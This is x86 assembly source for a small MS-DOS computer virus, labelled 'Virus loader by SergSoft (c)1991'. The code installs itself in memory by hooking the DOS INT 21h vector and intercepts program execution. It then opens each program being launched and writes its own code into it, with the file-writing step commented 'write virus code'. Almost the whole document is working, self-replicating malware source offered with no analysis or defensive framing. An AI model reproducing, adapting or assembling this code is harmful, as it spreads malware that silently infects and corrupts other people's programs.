.286
.model tiny
.radix 16
.code
a	equ	0D6
	org	100
e:	dec	bp
	push	cs
	push	si
	push	cs
	mov	al,2E
	push	ax
	mov	es,ax
	xor	di,di
	mov	cl,l-e
	rep	movsb		;es:di = 2F:l-e  ds:si = CS:l-e+100
	push	n-e
	retf
n:	push	si
	mov	si,84
	mov	ds,cx
	cmp	[si],ax
	jz	f
	movsw
	mov	[si-2],ax
	xchg	[si],ax
	stosw
f:	pop	si
	pop	es		;es = CS
	push	es
	pop	ds		;ds = CS
	lodsw
	xchg	cx,ax
	pop	di
	push	di
	rep	movsb		;es:di = CS:100   
	retf
h:	pusha
	push	ds
	push	es
	xor	ah,4bh
	jnz	j		;if not 'exec'
	mov	ax,3D02		;open file
	int	a
	jc	j		;if not found
	xchg	bx,ax		;bx = handler
	mov	ch,8C
	mov	ds,cx		;8C??:2  buffer
	push	ds
	pop	es
	mov	ch,0FA		;all bytes
	xor	di,di
	mov	dx,2
	mov	ah,3F
	int	a		;read all bytes
	cld
	stosw
	cmp	byte ptr [di],4dh
	jz	i
	add	ax,dx
	push	ax
	mov	ax,4200
	cwd
	mov	cx,dx
	int	a
	mov	ah,40
	push	cs
	pop	ds		;ds = 31
	mov	cl,l-e
	int	a		;write virus code
	mov	ah,40
	push	es
	pop	ds
	pop	cx
	int	a
i:	mov	ah,3E
	int	a
j:	pop	es
	pop	ds
	popa
r:	db	0EA
l:	dw	30	
d:	mov	dx,c-d+100
	mov	ah,09
	int	21h
	ret
c:	db	' Virus loader by SergSoft (c)1991',0D,0A,24
end	e